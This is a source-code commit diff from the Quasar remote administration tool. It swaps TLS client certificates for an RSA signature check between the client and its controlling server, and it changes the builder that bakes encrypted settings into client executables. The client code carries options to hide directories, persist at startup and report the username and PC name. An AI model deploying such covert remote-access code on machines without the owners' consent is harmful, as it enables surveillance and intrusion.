mirror of https://github.com/quasar/Quasar.git
Remove client certificates and use different way for client authentication
This commit is contained in:
parent
b2916386c0
commit
a7dc36ae18
|
@ -1,17 +1,17 @@
|
|||
using System;
|
||||
using System.Security.Cryptography.X509Certificates;
|
||||
using Quasar.Common.Cryptography;
|
||||
using Quasar.Common.Helpers;
|
||||
|
||||
#if !DEBUG
|
||||
using Quasar.Common.Cryptography;
|
||||
#endif
|
||||
using System;
|
||||
using System.Security.Cryptography;
|
||||
using System.Security.Cryptography.X509Certificates;
|
||||
using System.Text;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace Quasar.Client.Config
|
||||
{
|
||||
public static class Settings
|
||||
{
|
||||
#if DEBUG
|
||||
public static string VERSION = System.Windows.Forms.Application.ProductVersion;
|
||||
public static string VERSION = Application.ProductVersion;
|
||||
public static string HOSTS = "localhost:4782;";
|
||||
public static int RECONNECTDELAY = 500;
|
||||
public static Environment.SpecialFolder SPECIALFOLDER = Environment.SpecialFolder.ApplicationData;
|
||||
|
@ -27,17 +27,14 @@ public static class Settings
|
|||
public static string ENCRYPTIONKEY = "-.)4>[=u%5G3hY3&";
|
||||
public static string TAG = "DEBUG";
|
||||
public static string LOGDIRECTORYNAME = "Logs";
|
||||
public static string CLIENTCERTIFICATESTR = "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";
|
||||
public static X509Certificate2 CLIENTCERTIFICATE;
|
||||
public static string SERVERCERTIFICATESTR = CLIENTCERTIFICATESTR; // dummy certificate, it's not used in production
|
||||
public static string SERVERSIGNATURE = "";
|
||||
public static string SERVERCERTIFICATESTR = "";
|
||||
public static X509Certificate2 SERVERCERTIFICATE;
|
||||
public static bool HIDELOGDIRECTORY = false;
|
||||
public static bool HIDEINSTALLSUBDIRECTORY = false;
|
||||
|
||||
public static bool Initialize()
|
||||
{
|
||||
CLIENTCERTIFICATE = new X509Certificate2(Convert.FromBase64String(CLIENTCERTIFICATESTR));
|
||||
SERVERCERTIFICATE = new X509Certificate2(Convert.FromBase64String(SERVERCERTIFICATESTR));
|
||||
FixDirectory();
|
||||
return true;
|
||||
}
|
||||
|
@ -58,8 +55,7 @@ public static bool Initialize()
|
|||
public static string ENCRYPTIONKEY = "";
|
||||
public static string TAG = "";
|
||||
public static string LOGDIRECTORYNAME = "";
|
||||
public static string CLIENTCERTIFICATESTR = "";
|
||||
public static X509Certificate2 CLIENTCERTIFICATE;
|
||||
public static string SERVERSIGNATURE = "";
|
||||
public static string SERVERCERTIFICATESTR = "";
|
||||
public static X509Certificate2 SERVERCERTIFICATE;
|
||||
public static bool HIDELOGDIRECTORY = false;
|
||||
|
@ -77,10 +73,10 @@ public static bool Initialize()
|
|||
MUTEX = aes.Decrypt(MUTEX);
|
||||
STARTUPKEY = aes.Decrypt(STARTUPKEY);
|
||||
LOGDIRECTORYNAME = aes.Decrypt(LOGDIRECTORYNAME);
|
||||
CLIENTCERTIFICATE = new X509Certificate2(Convert.FromBase64String(aes.Decrypt(CLIENTCERTIFICATESTR)));
|
||||
SERVERSIGNATURE = aes.Decrypt(SERVERSIGNATURE);
|
||||
SERVERCERTIFICATE = new X509Certificate2(Convert.FromBase64String(aes.Decrypt(SERVERCERTIFICATESTR)));
|
||||
FixDirectory();
|
||||
return true;
|
||||
return VerifyHash();
|
||||
}
|
||||
#endif
|
||||
|
||||
|
@ -101,5 +97,20 @@ static void FixDirectory()
|
|||
|
||||
DIRECTORY = Environment.GetFolderPath(SPECIALFOLDER);
|
||||
}
|
||||
|
||||
static bool VerifyHash()
|
||||
{
|
||||
try
|
||||
{
|
||||
var csp = (RSACryptoServiceProvider) SERVERCERTIFICATE.PublicKey.Key;
|
||||
return csp.VerifyHash(Sha256.ComputeHash(Encoding.UTF8.GetBytes(ENCRYPTIONKEY)), CryptoConfig.MapNameToOID("SHA256"),
|
||||
Convert.FromBase64String(SERVERSIGNATURE));
|
||||
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
|
@ -176,12 +176,10 @@ public ReverseProxyClient[] ProxyClients
|
|||
}
|
||||
}
|
||||
|
||||
private SslStream _stream;
|
||||
|
||||
/// <summary>
|
||||
/// The client certificate.
|
||||
/// The stream used for communication.
|
||||
/// </summary>
|
||||
private readonly X509Certificate2 _clientCertificate;
|
||||
private SslStream _stream;
|
||||
|
||||
/// <summary>
|
||||
/// The server certificate.
|
||||
|
@ -276,11 +274,9 @@ public ReverseProxyClient[] ProxyClients
|
|||
/// <summary>
|
||||
/// Constructor of the client, initializes serializer types.
|
||||
/// </summary>
|
||||
/// <param name="clientCertificate">The client certificate.</param>
|
||||
/// <param name="serverCertificate">The server certificate.</param>
|
||||
protected Client(X509Certificate2 clientCertificate, X509Certificate2 serverCertificate)
|
||||
protected Client(X509Certificate2 serverCertificate)
|
||||
{
|
||||
_clientCertificate = clientCertificate;
|
||||
_serverCertificate = serverCertificate;
|
||||
_readBuffer = new byte[BUFFER_SIZE];
|
||||
_tempHeader = new byte[HEADER_SIZE];
|
||||
|
@ -306,8 +302,7 @@ protected void Connect(IPAddress ip, ushort port)
|
|||
if (handle.Connected)
|
||||
{
|
||||
_stream = new SslStream(new NetworkStream(handle, true), false, ValidateServerCertificate);
|
||||
X509CertificateCollection col = new X509CertificateCollection {_clientCertificate};
|
||||
_stream.AuthenticateAsClient(ip.ToString(), col, SslProtocols.Tls, false);
|
||||
_stream.AuthenticateAsClient(ip.ToString(), null, SslProtocols.Tls, false);
|
||||
_stream.BeginRead(_readBuffer, 0, _readBuffer.Length, AsyncReceive, null);
|
||||
OnClientState(true);
|
||||
}
|
||||
|
|
|
@ -24,8 +24,8 @@ public class QuasarClient : Client
|
|||
private readonly HostsManager _hosts;
|
||||
private readonly SafeRandom _random;
|
||||
|
||||
public QuasarClient(HostsManager hostsManager, X509Certificate2 clientCertificate, X509Certificate2 serverCertificate)
|
||||
: base(clientCertificate, serverCertificate)
|
||||
public QuasarClient(HostsManager hostsManager, X509Certificate2 serverCertificate)
|
||||
: base(serverCertificate)
|
||||
{
|
||||
this._hosts = hostsManager;
|
||||
this._random = new SafeRandom();
|
||||
|
@ -112,7 +112,8 @@ private void OnClientState(Client client, bool connected)
|
|||
Username = WindowsAccountHelper.GetName(),
|
||||
PcName = SystemHelper.GetPcName(),
|
||||
Tag = Settings.TAG,
|
||||
EncryptionKey = Settings.ENCRYPTIONKEY
|
||||
EncryptionKey = Settings.ENCRYPTIONKEY,
|
||||
Signature = Convert.FromBase64String(Settings.SERVERSIGNATURE)
|
||||
});
|
||||
|
||||
if (ClientData.AddToStartupFailed)
|
||||
|
|
|
@ -138,7 +138,7 @@ private static bool Initialize()
|
|||
}) {IsBackground = true}.Start();
|
||||
}
|
||||
|
||||
ConnectClient = new QuasarClient(hosts, Settings.CLIENTCERTIFICATE, Settings.SERVERCERTIFICATE);
|
||||
ConnectClient = new QuasarClient(hosts, Settings.SERVERCERTIFICATE);
|
||||
return true;
|
||||
}
|
||||
else
|
||||
|
|
|
@ -11,7 +11,7 @@ public static string ComputeHash(string input)
|
|||
|
||||
using (SHA256Managed sha = new SHA256Managed())
|
||||
{
|
||||
data = sha.ComputeHash(data, 0, data.Length);
|
||||
data = sha.ComputeHash(data);
|
||||
}
|
||||
|
||||
StringBuilder hash = new StringBuilder();
|
||||
|
@ -21,5 +21,13 @@ public static string ComputeHash(string input)
|
|||
|
||||
return hash.ToString().ToUpper();
|
||||
}
|
||||
|
||||
public static byte[] ComputeHash(byte[] input)
|
||||
{
|
||||
using (SHA256Managed sha = new SHA256Managed())
|
||||
{
|
||||
return sha.ComputeHash(input);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
|
@ -43,5 +43,8 @@ public class ClientIdentification : IMessage
|
|||
|
||||
[ProtoMember(13)]
|
||||
public string EncryptionKey { get; set; }
|
||||
|
||||
[ProtoMember(14)]
|
||||
public byte[] Signature { get; set; }
|
||||
}
|
||||
}
|
||||
|
|
|
@ -2,12 +2,11 @@
|
|||
using Mono.Cecil.Cil;
|
||||
using Quasar.Common.Cryptography;
|
||||
using Quasar.Common.Helpers;
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Security.Cryptography.X509Certificates;
|
||||
using System.Windows.Forms;
|
||||
using Quasar.Server.Helper;
|
||||
using Quasar.Server.Models;
|
||||
using System;
|
||||
using System.Security.Cryptography;
|
||||
using System.Security.Cryptography.X509Certificates;
|
||||
using System.Text;
|
||||
using Vestris.ResourceLib;
|
||||
|
||||
namespace Quasar.Server.Build
|
||||
|
@ -86,9 +85,15 @@ private void WriteSettings(AssemblyDefinition asmDef)
|
|||
var aes = new Aes256(key);
|
||||
|
||||
var caCertificate = new X509Certificate2(Settings.CertificatePath, "", X509KeyStorageFlags.Exportable);
|
||||
var clientCertificate = CertificateHelper.CreateCertificate("Quasar Client", caCertificate, 4096);
|
||||
var serverCertificate = new X509Certificate2(caCertificate.Export(X509ContentType.Cert)); // export without private key, very important!
|
||||
|
||||
byte[] signature;
|
||||
using (var csp = (RSACryptoServiceProvider) caCertificate.PrivateKey)
|
||||
{
|
||||
var hash = Sha256.ComputeHash(Encoding.UTF8.GetBytes(key));
|
||||
signature = csp.SignHash(hash, CryptoConfig.MapNameToOID("SHA256"));
|
||||
}
|
||||
|
||||
foreach (var typeDef in asmDef.Modules[0].Types)
|
||||
{
|
||||
if (typeDef.FullName == "Quasar.Client.Config.Settings")
|
||||
|
@ -132,8 +137,8 @@ private void WriteSettings(AssemblyDefinition asmDef)
|
|||
case 9: //LogDirectoryName
|
||||
methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.LogDirectoryName);
|
||||
break;
|
||||
case 10: //ClientCertificate
|
||||
methodDef.Body.Instructions[i].Operand = aes.Encrypt(Convert.ToBase64String(clientCertificate.Export(X509ContentType.Pkcs12)));
|
||||
case 10: //ServerSignature
|
||||
methodDef.Body.Instructions[i].Operand = aes.Encrypt(Convert.ToBase64String(signature));
|
||||
break;
|
||||
case 11: //ServerCertificate
|
||||
methodDef.Body.Instructions[i].Operand = aes.Encrypt(Convert.ToBase64String(serverCertificate.Export(X509ContentType.Cert)));
|
||||
|
|
|
@ -378,15 +378,33 @@ private void BuildClient(object o)
|
|||
|
||||
builder.Build();
|
||||
|
||||
MessageBox.Show(this,
|
||||
$"Successfully built client!\nSaved to: {options.OutputPath}\n\nOnly install it on computers where you have the permission to do so!",
|
||||
"Build Success", MessageBoxButtons.OK, MessageBoxIcon.Information);
|
||||
try
|
||||
{
|
||||
this.Invoke((MethodInvoker) delegate
|
||||
{
|
||||
MessageBox.Show(this,
|
||||
$"Successfully built client!\nSaved to: {options.OutputPath}\n\nOnly install it on computers where you have the permission to do so!",
|
||||
"Build Success", MessageBoxButtons.OK, MessageBoxIcon.Information);
|
||||
});
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
MessageBox.Show(this,
|
||||
$"An error occurred!\n\nError Message: {ex.Message}\nStack Trace:\n{ex.StackTrace}", "Build failed",
|
||||
MessageBoxButtons.OK, MessageBoxIcon.Error);
|
||||
try
|
||||
{
|
||||
this.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
MessageBox.Show(this,
|
||||
$"An error occurred!\n\nError Message: {ex.Message}\nStack Trace:\n{ex.StackTrace}", "Build failed",
|
||||
MessageBoxButtons.OK, MessageBoxIcon.Error);
|
||||
});
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
}
|
||||
}
|
||||
SetBuildState(true);
|
||||
}
|
||||
|
|
|
@ -1,6 +1,10 @@
|
|||
using Quasar.Common.Messages;
|
||||
using System;
|
||||
using Quasar.Common.Messages;
|
||||
using System.Linq;
|
||||
using System.Security.Cryptography;
|
||||
using System.Security.Cryptography.X509Certificates;
|
||||
using System.Text;
|
||||
using Quasar.Common.Cryptography;
|
||||
|
||||
namespace Quasar.Server.Networking
|
||||
{
|
||||
|
@ -143,7 +147,20 @@ private bool IdentifyClient(Client client, ClientIdentification packet)
|
|||
//if (Settings.ShowToolTip)
|
||||
// client.Send(new GetSystemInfo());
|
||||
|
||||
#if !DEBUG
|
||||
try
|
||||
{
|
||||
var csp = (RSACryptoServiceProvider)ServerCertificate.PublicKey.Key;
|
||||
return csp.VerifyHash(Sha256.ComputeHash(Encoding.UTF8.GetBytes(packet.EncryptionKey)),
|
||||
CryptoConfig.MapNameToOID("SHA256"), packet.Signature);
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
#else
|
||||
return true;
|
||||
#endif
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
|
@ -182,7 +182,7 @@ protected Client[] Clients
|
|||
/// <summary>
|
||||
/// The server certificate.
|
||||
/// </summary>
|
||||
private readonly X509Certificate2 _serverCertificate;
|
||||
protected readonly X509Certificate2 ServerCertificate;
|
||||
|
||||
/// <summary>
|
||||
/// The event to accept new connections asynchronously.
|
||||
|
@ -215,7 +215,7 @@ protected Client[] Clients
|
|||
/// <param name="serverCertificate">The server certificate.</param>
|
||||
protected Server(X509Certificate2 serverCertificate)
|
||||
{
|
||||
_serverCertificate = serverCertificate;
|
||||
ServerCertificate = serverCertificate;
|
||||
TypeRegistry.AddTypesToSerializer(typeof(IMessage), TypeRegistry.GetPacketTypes(typeof(IMessage)).ToArray());
|
||||
}
|
||||
|
||||
|
@ -274,9 +274,9 @@ private void AcceptClient(object s, SocketAsyncEventArgs e)
|
|||
{
|
||||
Socket clientSocket = e.AcceptSocket;
|
||||
clientSocket.SetKeepAliveEx(KeepAliveInterval, KeepAliveTime);
|
||||
sslStream = new SslStream(new NetworkStream(clientSocket, true), false, ValidateClientCertificate);
|
||||
sslStream = new SslStream(new NetworkStream(clientSocket, true), false);
|
||||
// the SslStream owns the socket and on disposing also disposes the NetworkStream and Socket
|
||||
sslStream.BeginAuthenticateAsServer(_serverCertificate, true, SslProtocols.Tls, false, EndAuthenticateClient,
|
||||
sslStream.BeginAuthenticateAsServer(ServerCertificate, false, SslProtocols.Tls, false, EndAuthenticateClient,
|
||||
new PendingClient {Stream = sslStream, EndPoint = (IPEndPoint) clientSocket.RemoteEndPoint});
|
||||
}
|
||||
catch (Exception)
|
||||
|
@ -319,12 +319,6 @@ private void EndAuthenticateClient(IAsyncResult ar)
|
|||
{
|
||||
con.Stream.EndAuthenticateAsServer(ar);
|
||||
|
||||
// only allow connection which are authenticated on both sides
|
||||
if (!con.Stream.IsMutuallyAuthenticated)
|
||||
{
|
||||
throw new AuthenticationException("Client did not provide a client certificate.");
|
||||
}
|
||||
|
||||
Client client = new Client(_bufferPool, con.Stream, con.EndPoint);
|
||||
AddClient(client);
|
||||
OnClientState(client, true);
|
||||
|
@ -335,54 +329,6 @@ private void EndAuthenticateClient(IAsyncResult ar)
|
|||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Validates the client certificate by checking whether it has been signed by the server.
|
||||
/// </summary>
|
||||
/// <param name="sender">The sender of the callback.</param>
|
||||
/// <param name="certificate">The client certificate to validate.</param>
|
||||
/// <param name="chain">The X.509 chain.</param>
|
||||
/// <param name="sslPolicyErrors">The SSL policy errors.</param>
|
||||
/// <returns>Returns <value>true</value> when the validation was successful, otherwise <value>false</value>.</returns>
|
||||
public bool ValidateClientCertificate(object sender, X509Certificate certificate, X509Chain chain, SslPolicyErrors sslPolicyErrors)
|
||||
{
|
||||
#if DEBUG
|
||||
// for debugging don't validate client certificate
|
||||
return true;
|
||||
#else
|
||||
// if client does not provide a certificate, don't accept connection
|
||||
if (certificate == null) return false;
|
||||
|
||||
chain.Reset();
|
||||
chain.ChainPolicy.RevocationMode = X509RevocationMode.NoCheck;
|
||||
chain.ChainPolicy.VerificationFlags = X509VerificationFlags.AllowUnknownCertificateAuthority;
|
||||
chain.ChainPolicy.VerificationTime = DateTime.UtcNow;
|
||||
chain.ChainPolicy.ExtraStore.Add(_serverCertificate);
|
||||
|
||||
chain.Build(new X509Certificate2(certificate));
|
||||
|
||||
bool result = true;
|
||||
|
||||
foreach (var status in chain.ChainStatus)
|
||||
{
|
||||
if (status.Status == X509ChainStatusFlags.UntrustedRoot)
|
||||
{
|
||||
// self-signed certificates with an untrusted root are valid.
|
||||
continue;
|
||||
}
|
||||
else
|
||||
{
|
||||
if (status.Status != X509ChainStatusFlags.NoError)
|
||||
{
|
||||
// if there are any other errors in the certificate chain, the certificate is invalid.
|
||||
result = false;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return result;
|
||||
#endif
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Adds a connected client to the list of clients,
|
||||
/// subscribes to the client's events.
|
||||
|
|
Loading…
Reference in New Issue